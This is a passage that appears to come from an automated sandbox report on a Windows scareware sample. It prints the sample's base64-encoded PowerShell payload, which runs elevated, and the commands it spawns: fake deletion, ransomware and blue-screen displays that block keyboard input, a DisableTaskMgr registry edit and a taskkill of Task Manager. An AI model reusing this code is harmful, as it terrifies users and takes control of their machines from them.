G9vcHMuRm9yZUNvbG9yPVtTeXN0ZW0uRHJhd2luZy5Db2xvcl06OldoaXRlOyRvb3BzLlRleHRBbGlnbj0nTWlkZGxlQ2VudGVyJzskb29wcy5TZXRCb3VuZHMoMCwwLCRzdywkc2gpOyRvb3BzLkJhY2tDb2xvcj1bU3lzdGVtLkRyYXdpbmcuQ29sb3JdOjpUcmFuc3BhcmVudDskb29wcy5WaXNpYmxlPSRmYWxzZTskZi5Db250cm9scy5BZGQoJG9vcHMpOyRwaW5rPVtTeXN0ZW0uRHJhd2luZy5Db2xvcl06OkZyb21BcmdiKDI1NSwyMCwxNDcpOyR0PU5ldy1PYmplY3QgU3lzdGVtLldpbmRvd3MuRm9ybXMuVGltZXI7JHQuSW50ZXJ2YWw9MTIwOyR0LkFkZF9UaWNrKHskc2NyaXB0OmVsYXBzZWQrPSR0LkludGVydmFsO2lmKCRzY3JpcHQ6ZWxhcHNlZCAtbGUgNTAwMCl7JGYuQmFja0NvbG9yPSRjb2xvcnNbJHNjcmlwdDpjaSAlICRjb2xvcnMuTGVuZ3RoXTskc2NyaXB0OmNpKyt9ZWxzZXskZi5CYWNrQ29sb3I9JHBpbms7JG9vcHMuRm9yZUNvbG9yPVtTeXN0ZW0uRHJhd2luZy5Db2xvcl06OlJlZDskb29wcy5WaXNpYmxlPSR0cnVlOyRmLlRvcE1vc3Q9JHRydWV9O2lmKCRzY3JpcHQ6ZWxhcHNlZCAtZ2UgOTAwMCl7JHQuU3RvcCgpOyRmLkNsb3NlKCl9fSk7JHQuU3RhcnQoKTskZi5TaG93KCk7JGYuV2luZG93U3RhdGU9J01heGltaXplZCc7JGYuQnJpbmdUb0Zyb250KCk7W1N5c3RlbS5XaW5kb3dzLkZvcm1zLkFwcGxpY2F0aW9uXTo6UnVuKCRmKSIKCnBvd2Vyc2hlbGwgLVdpbmRvd1N0eWxlIEhpZGRlbiAtQ29tbWFuZCAiQWRkLVR5cGUgLUFzc2VtYmx5TmFtZSBQcmVzZW50YXRpb25GcmFtZXdvcms7W1N5c3RlbS5XaW5kb3dzLk1lc3NhZ2VCb3hdOjpTaG93KCdCbHVldG9vdGggc3VjaHQgR2VyYWV0OiBEZWluIElRLi4uIG5pY2h0IGdlZnVuZGVuLicsJ0tPUEZIT0VSRVInLCdPSycsJ0Vycm9yJykiID5udWwgMj4mMQpwb3dlcnNoZWxsIC1XaW5kb3dTdHlsZSBIaWRkZW4gLUNvbW1hbmQgIkFkZC1UeXBlIC1Bc3NlbWJseU5hbWUgUHJlc2VudGF0aW9uRnJhbWV3b3JrO1tTeXN0ZW0uV2luZG93cy5NZXNzYWdlQm94XTo6U2hvdygnSmVtYW5kIHNjaGF1dCB6dS4gV2lua2Ugd2lua2UhJywnV0VCQ0FNIEFOJywnT0snLCdFcnJvcicpIiA+bnVsIDI+JjEKcG93ZXJzaGVsbCAtV2luZG93U3R5bGUgSGlkZGVuIC1Db21tYW5kICJBZGQtVHlwZSAtQXNzZW1ibHlOYW1lIFByZXNlbnRhdGlvbkZyYW1ld29yaztbU3lzdGVtLldpbmRvd3MuTWVzc2FnZUJveF06OlNob3coJ05TQSBsYWVkdCBJaHJlIE1lbWUtU2FtbWx1bmcgaGVydW50ZXIuLi4gNDclJScsJ0RPV05MT0FEIExBRVVGVCcsJ09LJywnRXJyb3InKSIgPm51bCAyPiYxCnBvd2Vyc2hlbGwgLVdpbmRvd1N0eWxlIEhpZGRlbiAtQ29tbWFuZCAiQWRkLVR5cGUgLUFzc2VtYmx5TmFtZSBQcmVzZW50YXRpb25GcmFtZXdvcms7W1N5c3RlbS5XaW5kb3dzLk1lc3NhZ2VCb3hdOjpTaG93KCdJaHIgUEMgaGF0IFNpZSBiZWkgSWhyZXIgTXV0dGVyIHZlcnBldHp0LicsJ1BSSVZBVFNQQUVSRSBGRUhMRVInLCdPSycsJ0Vycm9yJykiID5udWwgMj4mMQpwb3dlcnNoZWxsIC1XaW5kb3dTdHlsZSBIaWRkZW4gLUNvbW1hbmQgIkFkZC1UeXBlIC1Bc3NlbWJseU5hbWUgUHJlc2VudGF0aW9uRnJhbWV3b3JrO1tTeXN0ZW0uV2luZG93cy5NZXNzYWdlQm94XTo6U2hvdygnRmVzdHBsYXR0ZSB3dXJkZSB2ZXJzY2hsdWVzc2VsdC4gU2NobHVzc2VsOiAxMjM0JywnUkFOU09NV0FSRScsJ09LJywnRXJyb3InKSIgPm51bCAyPiYxCnBvd2Vyc2hlbGwgLVdpbmRvd1N0eWxlIEhpZGRlbiAtQ29tbWFuZCAiQWRkLVR5cGUgLUFzc2VtYmx5TmFtZSBQcmVzZW50YXRpb25GcmFtZXdvcms7W1N5c3RlbS5XaW5kb3dzLk1lc3NhZ2VCb3hdOjpTaG93KCdQcm96ZXNzb3IgcmVjaG5ldCBuYWNoIG9iIGR1IHNjaGxhdSBiaXN0LiBEYXVlcnQgbGFlbmdlciBhbHMgZXJ3YXJ0ZXQuJywnQ1BVIDEwMCUlJywnT0snLCdFcnJvcicpIiA+bnVsIDI+JjEKcG93ZXJzaGVsbCAtV2luZG93U3R5bGUgSGlkZGVuIC1Db21tYW5kICJBZGQtVHlwZSAtQXNzZW1ibHlOYW1lIFByZXNlbnRhdGlvbkZyYW1ld29yaztbU3lzdGVtLldpbmRvd3MuTWVzc2FnZUJveF06OlNob3coJ0Vycm9yIDY5OiBadSB2aWVsIFNwYXNzIGVya2FubnQuIFNwYXNzIHd1cmRlIGRlaW5zdGFsbGllcnQuJywnQ09PTCBFUlJPUicsJ09LJywnRXJyb3InKSIgPm51bCAyPiYxCnBvd2Vyc2hlbGwgLVdpbmRvd1N0eWxlIEhpZGRlbiAtQ29tbWFuZCAiQWRkLVR5cGUgLUFzc2VtYmx5TmFtZSBQcmVzZW50YXRpb25GcmFtZXdvcms7W1N5c3RlbS5XaW5kb3dzLk1lc3NhZ2VCb3hdOjpTaG93KCdXaW5kb3dzIGhhdCBlbnRzY2hpZWRlbiBhdWZ6dWdlYmVuLiBXaXIga29lbm5lbiBkYXMgdmVyc3RlaGVuLicsJ1NDSFdFUkVSIEZFSExFUicsJ09LJywnRXJyb3InKSIgPm51bCAyPiYxCnBvd2Vyc2hlbGwgLVdpbmRvd1N0eWxlIEhpZGRlbiAtQ29tbWFuZCAiQWRkLVR5cGUgLUFzc2VtYmx5TmFtZSBQcmVzZW50YXRpb25GcmFtZXdvcms7W1N5c3RlbS5XaW5kb3dzLk1lc3NhZ2VCb3hdOjpTaG93KCdMZXR6dGVyIFZlcnN1Y2guLi4gU3lzdGVtIGZhZWhydCBoZXJ1bnRlciEnLCdLUklUSVNDSCcsJ09LJywnRXJyb3InKSIgPm51bCAyPiYxCgo6OiA9PT0gVk9MTEJJTEQgMzogREFURU4gV0VSREVOIEdFTE9FU0NIVCA9PT0KcG93ZXJzaGVsbCAtQ29tbWFuZCAiQWRkLVR5cGUgLUFzc2VtYmx5TmFtZSBTeXN0ZW0uV2luZG93cy5Gb3JtcztBZGQtVHlwZSAtQXNzZW1ibHlOYW1lIFN5c3RlbS5EcmF3aW5nOyRzY3JlZW49W1N5c3RlbS5XaW5kb3dzLkZvcm1zLlNjcmVlbl06OlByaW1hcnlTY3JlZW4uQm91bmRzOyRmPU5ldy1PYmplY3QgU3lzdGVtLldpbmRvd3MuRm9ybXMuRm9ybTskZi5CYWNrQ29sb3I9W1N5c3RlbS5EcmF3aW5nLkNvbG9yXTo6QmxhY2s7JGYuRm9ybUJvcmRlclN0eWxlPSdOb25lJzskZi5TdGFydFBvc2l0aW9uPSdNYW51YWwnOyRmLkJvdW5kcz0kc2NyZWVuOyRmLlRvcE1vc3Q9JHRydWU7JGYuS2V5UHJldmlldz0kdHJ1ZTskZi5hZGRfS2V5RG93bih7JF8uU3VwcHJlc3NLZXlQcmVzcz0kdHJ1ZX0pOyRzdz0kc2NyZWVuLldpZHRoOyRzaD0kc2NyZWVuLkhlaWdodDskcmVkPVtTeXN0ZW0uRHJhd2luZy5Db2xvcl06OlJlZDskZHJlZD1bU3lzdGVtLkRyYXdpbmcuQ29sb3JdOjpGcm9tQXJnYigxODAsMCwwKTskd2g9W1N5c3RlbS5EcmF3aW5nLkNvbG9yXTo6V2hpdGU7JGdyYXk9W1N5c3RlbS5EcmF3aW5nLkNvbG9yXTo6RnJvbUFyZ2IoMTUwLDE1MCwxNTApOyR0cj1bU3lzdGVtLkRyYXdpbmcuQ29sb3JdOjpUcmFuc3BhcmVudDskdz1OZXctT2JqZWN0IFN5c3RlbS5XaW5kb3dzLkZvcm1zLkxhYmVsOyR3LlRleHQ9J1sgS1JJVElTQ0hFUiBTWVNURU1GRUhMRVJdJzskdy5Gb250PU5ldy1PYmplY3QgU3lzdGVtLkRyYXdpbmcuRm9udCgnQ291cmllciBOZXcnLDE4LFtTeXN0ZW0uRHJhd2luZy5Gb250U3R5bGVdOjpCb2xkKTskdy5Gb3JlQ29sb3I9JGRyZWQ7JHcuVGV4dEFsaWduPSdNaWRkbGVDZW50ZXInOyR3LlNldEJvdW5kcygwLFtpbnRdKCRzaCowLjAzKSwkc3csNDYpOyR3LkJhY2tDb2xvcj0kdHI7JGYuQ29udHJvbHMuQWRkKCR3KTskdGl0bGU9TmV3LU9iamVjdCBTeXN0ZW0uV2luZG93cy5Gb3Jtcy5MYWJlbDskdGl0bGUuVGV4dD0nQUxMRSBEQVRFTiBXRVJERU4gR0VMT0VTQ0hUJzskdGl0bGUuRm9udD1OZXctT2JqZWN0IFN5c3RlbS5EcmF3aW5nLkZvbnQoJ0FyaWFsJyw0NCxbU3lzdGVtLkRyYXdpbmcuRm9udFN0eWxlXTo6Qm9sZCk7JHRpdGxlLkZvcmVDb2xvcj0kcmVkOyR0aXRsZS5UZXh0QWxpZ249J01pZGRsZUNlbnRlcic7JHRpdGxlLlNldEJvdW5kcygwLFtpbnRdKCRzaCowLjExKSwkc3csOTUpOyR0aXRsZS5CYWNrQ29sb3I9JHRyOyRmLkNvbnRyb2xzLkFkZCgkdGl0bGUpOyRmaWxlcz1AKCdDOlxVc2Vyc1xFbGlhc1xEb2N1bWVudHNcSGF1c2FyYmVpdF9maW5hbF9GSU5BTDIuZG9jeCcsJ0M6XFVzZXJzXEVsaWFzXFBpY3R1cmVzXHBlaW5saWNoZV9mb3Rvc1xpbWdfMjg0Ny5qcGcnLCdDOlxVc2Vyc1xFbGlhc1xEZXNrdG9wXHBhc3N3b2VydGVyX05JQ0hUX0xPRVNDSEVOLnR4dCcsJ0M6XFVzZXJzXEVsaWFzXERvd25sb2Fkc1x0b3RhbGx5X2xlZ2FsX21vdmllLm1wNCcsJ0M6XFdpbmRvd3NcU3lzdGVtMzJcZHJpdmVyc1xldGNcaG9zdHMnLCdDOlxVc2Vyc1xFbGlhc1xBcHBEYXRhXERpc2NvcmRcc2F2ZWRfbWVzc2FnZXMuZGInLCdEOlxHYW1lc1xNaW5lY3JhZnRcc2F2ZXNcc3Vydml2YWxfd2VsdF8zamFocmUuZGF0JywnQzpcVXNlcnNcRWxpYXNcRG9jdW1lbnRzXGJhbmtkYXRlbl9nZWhlaW0ueGxzeCcsJ0M6XFVzZXJzXEVsaWFzXFBpY3R1cmVzXHNlbGZpZXNcY3JpbmdlXzIwMTkuanBnJywnQzpcUHJvZ3JhbSBGaWxlc1xTdGVhbVx1c2VyZGF0YVxzY3JlZW5zaG90c1wnKTskZmlsZWxibD1OZXctT2JqZWN0IFN5c3RlbS5XaW5kb3dzLkZvcm1zLkxhYmVsOyRmaWxlbGJsLlRleHQ9J0luaXRpYWxpc2llcmUuLi4nOyRmaWxlbGJsLkZvbnQ9TmV3LU9iamVjdCBTeXN0ZW0uRHJhd2luZy5Gb250KCdDb3VyaWVyIE5ldycsMTIpOyRmaWxlbGJsLkZvcmVDb2xvcj1bU3lzdGVtLkRyYXdpbmcuQ29sb3JdOjpGcm9tQXJnYigyNTUsODAsODApOyRmaWxlbGJsLlRleHRBbGlnbj0nTWlkZGxlTGVmdCc7JGZpbGVsYmwuU2V0Qm91bmRzKFtpbnRdKCRzdyowLjA4KSxbaW50XSgkc2gqMC4yOCksW2ludF0oJHN3KjAuODQpLDM0KTskZmlsZWxibC5CYWNrQ29sb3I9JHRyOyRmLkNvbnRyb2xzLkFkZCgkZmlsZWxibCk7JHN0YXR1cz1OZXctT2JqZWN0IFN5c3RlbS5XaW5kb3dzLkZvcm1zLkxhYmVsOyRzdGF0dXMuRm9udD1OZXctT2JqZWN0IFN5c3RlbS5EcmF3aW5nLkZvbnQoJ0NvdXJpZXIgTmV3JywxMSk7JHN0YXR1cy5Gb3JlQ29sb3I9JGdyYXk7JHN0YXR1cy5UZXh0QWxpZ249J01pZGRsZUxlZnQnOyRzdGF0dXMuU2V0Qm91bmRzKFtpbnRdKCRzdyowLjA4KSxbaW50XSgkc2gqMC4zNSksW2ludF0oJHN3KjAuODQpLDMwKTskc3RhdHVzLkJhY2tDb2xvcj0kdHI7JGYuQ29udHJvbHMuQWRkKCRzdGF0dXMpOyRiYXJCZz1OZXctT2JqZWN0IFN5c3RlbS5XaW5kb3dzLkZvcm1zLlBhbmVsOyRiYXJCZy5TZXRCb3VuZHMoW2ludF0oJHN3KjAuMDgpLFtpbnRdKCRzaCowLjQ2KSxbaW50XSgkc3cqMC44NCksMzQpOyRiYXJCZy5CYWNrQ29sb3I9W1N5c3RlbS5EcmF3aW5nLkNvbG9yXTo6RnJvbUFyZ2IoNDAsMCwwKTskZi5Db250cm9scy5BZGQoJGJhckJnKTskYmFyPU5ldy1PYmplY3QgU3lzdGVtLldpbmRvd3MuRm9ybXMuUGFuZWw7JGJhci5TZXRCb3VuZHMoMCwwLDAsMzQpOyRiYXIuQmFja0NvbG9yPSRyZWQ7JGJhckJnLkNvbnRyb2xzLkFkZCgkYmFyKTskcGN0bGJsPU5ldy1PYmplY3QgU3lzdGVtLldpbmRvd3MuRm9ybXMuTGFiZWw7JHBjdGxibC5UZXh0PScwJSUnOyRwY3RsYmwuRm9udD1OZXctT2JqZWN0IFN5c3RlbS5EcmF3aW5nLkZvbnQoJ0FyaWFsJywzMCxbU3lzdGVtLkRyYXdpbmcuRm9udFN0eWxlXTo6Qm9sZCk7JHBjdGxibC5Gb3JlQ29sb3I9JHdoOyRwY3RsYmwuVGV4dEFsaWduPSdNaWRkbGVDZW50ZXInOyRwY3RsYmwuU2V0Qm91bmRzKDAsW2ludF0oJHNoKjAuNTQpLCRzdyw3MCk7JHBjdGxibC5CYWNrQ29sb3I9JHRyOyRmLkNvbnRyb2xzLkFkZCgkcGN0bGJsKTskY2Q9TmV3LU9iamVjdCBTeXN0ZW0uV2luZG93cy5Gb3Jtcy5MYWJlbDskY2QuVGV4dD0nQWJzY2hsdXNzIGluOiAxMCBTZWt1bmRlbic7JGNkLkZvbnQ9TmV3LU9iamVjdCBTeXN0ZW0uRHJhd2luZy5Gb250KCdDb3VyaWVyIE5ldycsMTUpOyRjZC5Gb3JlQ29sb3I9JGdyYXk7JGNkLlRleHRBbGlnbj0nTWlkZGxlQ2VudGVyJzskY2QuU2V0Qm91bmRzKDAsW2ludF0oJHNoKjAuNjcpLCRzdywzOCk7JGNkLkJhY2tDb2xvcj0kdHI7JGYuQ29udHJvbHMuQWRkKCRjZCk7JGRlbGV0ZWQ9TmV3LU9iamVjdCBTeXN0ZW0uV2luZG93cy5Gb3Jtcy5MYWJlbDskZGVsZXRlZC5UZXh0PSdHZWxvZXNjaHQ6IDAgRGF0ZWllbiAgfCAgMC4wIEdCJzskZGVsZXRlZC5Gb250PU5ldy1PYmplY3QgU3lzdGVtLkRyYXdpbmcuRm9udCgnQ291cmllciBOZXcnLDEyKTskZGVsZXRlZC5Gb3JlQ29sb3I9JGRyZWQ7JGRlbGV0ZWQuVGV4dEFsaWduPSdNaWRkbGVDZW50ZXInOyRkZWxldGVkLlNldEJvdW5kcygwLFtpbnRdKCRzaCowLjc1KSwkc3csMzQpOyRkZWxldGVkLkJhY2tDb2xvcj0kdHI7JGYuQ29udHJvbHMuQWRkKCRkZWxldGVkKTskc3RhdHVzTXNncz1AKCdWZXJiaW5kZSBtaXQgU2VydmVyLi4uJywnQXV0aGVudGlmaXppZXJ1bmcgZXJmb2xncmVpY2guJywnU2Nhbm5lIFZlcnplaWNobmlzc2UuLi4nLCdVZWJlcnNjaHJlaWJlIFNla3RvcmVuLi4uJywnU2VuZGUgRGF0ZW4gYW4gZXh0ZXJuZW4gU2VydmVyLi4uJywnVmVyc2NobHVlc3NlbHVuZyB3aXJkIGVudGZlcm50Li4uJywnTUZUIHdpcmQgYmVzY2hhZWRpZ3QuLi4nLCdCYWNrdXAgd2lyZCBnZWxvZXNjaHQuLi4nLCdTY2hhdHRlbmtvcGllbiBlbnRmZXJudC4nLCdBYnNjaGx1c3Mgd2lyZCB2b3JiZXJlaXRldC4uLicpOyRuPTEwOyRwdmFsPTA7JGZjPTA7JGdiPTAuMDskbWF4Vz1baW50XSgkc3cqMC44NCk7JHRpY2s9MDskdD1OZXctT2JqZWN0IFN5c3RlbS5XaW5kb3dzLkZvcm1zLlRpbWVyOyR0LkludGVydmFsPTIwMDskdC5BZGRfVGljayh7JHNjcmlwdDp0aWNrKys7JHNjcmlwdDpwdmFsPVttYXRoXTo6TWluKDk5LFtpbnRdKCRzY3JpcHQ6dGljay81MCoxMDApKTskYmFyLldpZHRoPVtpbnRdKCRtYXhXKiRzY3JpcHQ6cHZhbC8xMDApOyRwY3RsYmwuVGV4dD1bc3RyaW5nXSRzY3JpcHQ6cHZhbCsnJSUnOyRzY3JpcHQ6ZmMrPShHZXQtUmFuZG9tIC1NaW4gMTIgLU1heCAxODApOyRzY3JpcHQ6Z2IrPVttYXRoXTo6Um91bmQoKEdldC1SYW5kb20gLU1pbiAxIC1NYXggOSkvMTAuMCwxKTskZGVsZXRlZC5UZXh0PSdHZWxvZXNjaHQ6ICcrW3N0cmluZ10kc2NyaXB0OmZjKycgRGF0ZWllbiAgfCAgJytbc3RyaW5nXShbbWF0aF06OlJvdW5kKCRzY3JpcHQ6Z2IsMSkpKycgR0InOyRmaT0kZmlsZXNbKEdldC1SYW5kb20gLU1pbiAwIC1NYXggJGZpbGVzLkxlbmd0aCldOyRmaWxlbGJsLlRleHQ9Jz4+IExvZXNjaGVuOiAnKyRmaTskc2k9W21hdGhdOjpNaW4oJHN0YXR1c01zZ3MuTGVuZ3RoLTEsW2ludF0oJHNjcmlwdDpwdmFsLzExKSk7JHN0YXR1cy5UZXh0PSdTdGF0dXM6ICcrJHN0YXR1c01zZ3NbJHNpXTtpZigkc2NyaXB0OnRpY2sgJSA1IC1lcSAwKXskc2NyaXB0Om4tLTskY2QuVGV4dD0nQWJzY2hsdXNzIGluOiAnK1tzdHJpbmddJHNjcmlwdDpuKycgU2VrdW5kZW4nfTskZi5Ub3BNb3N0PSR0cnVlO2lmKCRzY3JpcHQ6dGljayAtZ2UgNTApeyR0LlN0b3AoKTskZi5DbG9zZSgpfX0pOyR0LlN0YXJ0KCk7JGYuU2hvdygpOyRmLldpbmRvd1N0YXRlPSdNYXhpbWl6ZWQnOyRmLkJyaW5nVG9Gcm9udCgpO1tTeXN0ZW0uV2luZG93cy5Gb3Jtcy5BcHBsaWNhdGlvbl06OlJ1bigkZikiCgo6OiA9PT0gQlNPRCAtIEVDSFRFUiBXSU5ET1dTIDExIFNUSUwsIE5JQ0hUUyBMVVNUSUdFUyA9PT0KcG93ZXJzaGVsbCAtQ29tbWFuZCAiQWRkLVR5cGUgLUFzc2VtYmx5TmFtZSBTeXN0ZW0uV2luZG93cy5Gb3JtcztBZGQtVHlwZSAtQXNzZW1ibHlOYW1lIFN5c3RlbS5EcmF3aW5nO0FkZC1UeXBlIC1UeXBlRGVmaW5pdGlvbiAndXNpbmcgU3lzdGVtO3VzaW5nIFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcztwdWJsaWMgY2xhc3MgV0Eze1tEbGxJbXBvcnQoXCJ1c2VyMzIuZGxsXCIpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIGJvb2wgU2V0Rm9yZWdyb3VuZFdpbmRvdyhJbnRQdHIgaCk7W0RsbEltcG9ydChcInVzZXIzMi5kbGxcIildcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBTaG93V2luZG93KEludFB0ciBoLGludCBuKTtbRGxsSW1wb3J0KFwidXNlcjMyLmRsbFwiKV1wdWJsaWMgc3RhdGljIGV4dGVybiBib29sIEJyaW5nV2luZG93VG9Ub3AoSW50UHRyIGgpO30nIC1MYW5ndWFnZSBDU2hhcnA7JHNjcmVlbj1bU3lzdGVtLldpbmRvd3MuRm9ybXMuU2NyZWVuXTo6UHJpbWFyeVNjcmVlbi5Cb3VuZHM7JGY9TmV3LU9iamVjdCBTeXN0ZW0uV2luZG93cy5Gb3Jtcy5Gb3JtOyRmLkJhY2tDb2xvcj1bU3lzdGVtLkRyYXdpbmcuQ29sb3JdOjpGcm9tQXJnYigwLDEwMCwxODApOyRmLkZvcm1Cb3JkZXJTdHlsZT0nTm9uZSc7JGYuU3RhcnRQb3NpdGlvbj0nTWFudWFsJzskZi5Cb3VuZHM9JHNjcmVlbjskZi5Ub3BNb3N0PSR0cnVlOyRmLktleVByZXZpZXc9JHRydWU7JGYuYWRkX0tleURvd24oeyRfLlN1cHByZXNzS2V5UHJlc3M9JHRydWV9KTskc3c9JHNjcmVlbi5XaWR0aDskc2g9JHNjcmVlbi5IZWlnaHQ7JHdoPVtTeXN0ZW0uRHJhd2luZy5Db2xvcl06OldoaXRlOyRkaW09W1N5c3RlbS5EcmF3aW5nLkNvbG9yXTo6RnJvbUFyZ2IoMTkwLDIyMCwyNTUpO2Z1bmN0aW9uIE1MKCR0LCRzLCRib2xkLCR4LCR5LCR3LCRoLCRjKXskbD1OZXctT2JqZWN0IFN5c3RlbS5XaW5kb3dzLkZvcm1zLkxhYmVsOyRmcz1pZigkYm9sZCl7W1N5c3RlbS5EcmF3aW5nLkZvbnRTdHlsZV06OkJvbGR9ZWxzZXtbU3lzdGVtLkRyYXdpbmcuRm9udFN0eWxlXTo6UmVndWxhcn07JGwuRm9udD1OZXctT2JqZWN0IFN5c3RlbS5EcmF3aW5nLkZvbnQoJ1NlZ29lIFVJJywkcywkZnMpOyRsLkZvcmVDb2xvcj0kYzskbC5UZXh0PSR0OyRsLlNldEJvdW5kcygkeCwkeSwkdywkaCk7JGwuQmFja0NvbG9yPVtTeXN0ZW0uRHJhd2luZy5Db2xvcl06OlRyYW5zcGFyZW50O3JldHVybiAkbH07JGYuQ29udHJvbHMuQWRkKChNTCAnOignIDEzMCAkZmFsc2UgKFtpbnRdKCRzdyowLjA4KSkgKFtpbnRdKCRzaCowLjA1KSkgNTAwIDIyMCAkd2gpKTskZi5Db250cm9scy5BZGQoKE1MICdJaHIgUEMgaXN0IGF1ZiBlaW4gUHJvYmxlbSBnZXN0b3NzZW4gdW5kJyAyOCAkZmFsc2UgKFtpbnRdKCRzdyowLjA4KSkgKFtpbnRdKCRzaCowLjMwKSkgKFtpbnRdKCRzdyowLjg0KSkgNjUgJHdoKSk7JGYuQ29udHJvbHMuQWRkKChNTCAnbXVzcyBuZXUgZ2VzdGFydGV0IHdlcmRlbi4nIDI4ICRmYWxzZSAoW2ludF0oJHN3KjAuMDgpKSAoW2ludF0oJHNoKjAuMzApKzY4KSAoW2ludF0oJHN3KjAuODQpKSA2NSAkd2gpKTskZi5Db250cm9scy5BZGQoKE1MICdXaXIgc2FtbWVsbiBlaW5pZ2UgRmVobGVyaW5mb3JtYXRpb25lbiwgdW5kIGRhbm4gd2lyZCBlaW4gTmV1c3RhcnQnIDE3ICRmYWxzZSAoW2ludF0oJHN3KjAuMDgpKSAoW2ludF0oJHNoKjAuNTEpKSAoW2ludF0oJHN3KjAuODQpKSAzOCAkZGltKSk7JGYuQ29udHJvbHMuQWRkKChNTCAnZHVyY2hnZWZ1ZWhydC4gKDAlJSBhYmdlc2NobG9zc2VuKScgMTcgJGZhbHNlIChbaW50XSgkc3cqMC4wOCkpIChbaW50XSgkc2gqMC41MSkrNDApIChbaW50XSgkc3cqMC44NCkpIDM4ICRkaW0pKTskZi5Db250cm9scy5BZGQoKE1MICdXZWl0ZXJlIEluZm9ybWF0aW9uZW4genUgZGllc2VtIEZlaGxlciBvbmxpbmUgc3VjaGVuJyAxNSAkZmFsc2UgKFtpbnRdKCRzdyowLjA4KSkgKFtpbnRdKCRzaCowLjY0KSkgKFtpbnRdKCRzdyowLjgwKSkgMzYgJGRpbSkpOyRmLkNvbnRyb2xzLkFkZCgoTUwgJ0ZlaGxlcmNvZGU6IERSSVZFUl9JUlFMX05PVF9MRVNTX09SX0VRVUFMJyAxNSAkZmFsc2UgKFtpbnRdKCRzdyowLjA4KSkgKFtpbnRdKCRzaCowLjcwKSkgKFtpbnRdKCRzdyowLjc1KSkgMzYgJGRpbSkpOyRmLkNvbnRyb2xzLkFkZCgoTUwgJ1dhcyBmZWhsZ2VzY2hsYWdlbiBpc3Q6IG52bGRkbWttLnN5cycgMTQgJGZhbHNlIChbaW50XSgkc3cqMC4wOCkpIChbaW50XSgkc2gqMC43NikpIChbaW50XSgkc3cqMC43KSkgMzIgJGRpbSkpOyRwY3Q9TUwgJzAlJScgMTcgJGZhbHNlIChbaW50XSgkc3cqMC43NCkpIChbaW50XSgkc2gqMC44NykpIDMyMCA0MiAkd2g7JGYuQ29udHJvbHMuQWRkKCRwY3QpOyRmLkNvbnRyb2xzLkFkZCgoTUwgJ2FiZ2VzY2hsb3NzZW4nIDE1ICRmYWxzZSAoW2ludF0oJHN3KjAuNzQpKSAoW2ludF0oJHNoKjAuODcpKzQ0KSAzMjAgMzYgJGRpbSkpOyRzdGFydD1HZXQtRGF0ZTskdGltPU5ldy1PYmplY3QgU3lzdGVtLldpbmRvd3MuRm9ybXMuVGltZXI7JHRpbS5JbnRlcnZhbD0xMDA7JHRpbS5BZGRfVGljayh7JGU9KChHZXQtRGF0ZSktJHNjcmlwdDpzdGFydCkuVG90YWxTZWNvbmRzOyR2PVttYXRoXTo6TWluKDk5LFtpbnRdKCRlLzEwKjk5KSk7JHNjcmlwdDpwY3QuVGV4dD1bc3RyaW5nXSR2KyclJSc7JGg9JGYuSGFuZGxlO1tXQTNdOjpTaG93V2luZG93KCRoLDkpfE91dC1OdWxsO1tXQTNdOjpCcmluZ1dpbmRvd1RvVG9wKCRoKXxPdXQtTnVsbDtbV0EzXTo6U2V0Rm9yZWdyb3VuZFdpbmRvdygkaCl8T3V0LU51bGw7JGYuVG9wTW9zdD0kdHJ1ZTskZi5XaW5kb3dTdGF0ZT0nTWF4aW1pemVkJzskZi5Cb3VuZHM9JHNjcmVlbjskZi5BY3RpdmF0ZSgpO2lmKCRlIC1nZSAxMCl7JHRpbS5TdG9wKCk7JGYuQ2xvc2UoKX19KTskdGltLlN0YXJ0KCk7JGYuU2hvdygpOyRmLldpbmRvd1N0YXRlPSdNYXhpbWl6ZWQnOyRmLkJyaW5nVG9Gcm9udCgpO1tTeXN0ZW0uV2luZG93cy5Gb3Jtcy5BcHBsaWNhdGlvbl06OlJ1bigkZikiCgpyZWcgYWRkICJIS0NVXFNvZnR3YXJlXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFBvbGljaWVzXFN5c3RlbSIgL3YgRGlzYWJsZVRhc2tNZ3IgL3QgUkVHX0RXT1JEIC9kIDAgL2YgPm51bCAyPiYx'));$t=[System.IO.Path]::GetTempFileName()+'.bat';[System.IO.File]::WriteAllText($t,$d);Start-Process -FilePath $t -Verb RunAs -Wait;Remove-Item $t -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5220
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\tmpFCA.tmp.bat"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2504
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Start-Process -FilePath 'cmd.exe' -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\tmpFCA.tmp.bat\" run' -WindowStyle Hidden -Verb RunAs"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:5676
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\tmpFCA.tmp.bat" run
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:1740
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "$count=0;$hk=@();Add-Type -AssemblyName System.Windows.Forms;while($true){if([System.Windows.Forms.Control]::ModifierKeys -eq 'Control' -and [System.Console]::KeyAvailable){$k=[System.Console]::ReadKey($true);if($k.Key -eq 'T'){$script:count++;if($script:count -ge 5){reg add 'HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System' /v DisableTaskMgr /t REG_DWORD /d 0 /f;$script:count=0}}};Start-Sleep -Milliseconds 100}"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3096
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im Taskmgr.exe
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4032
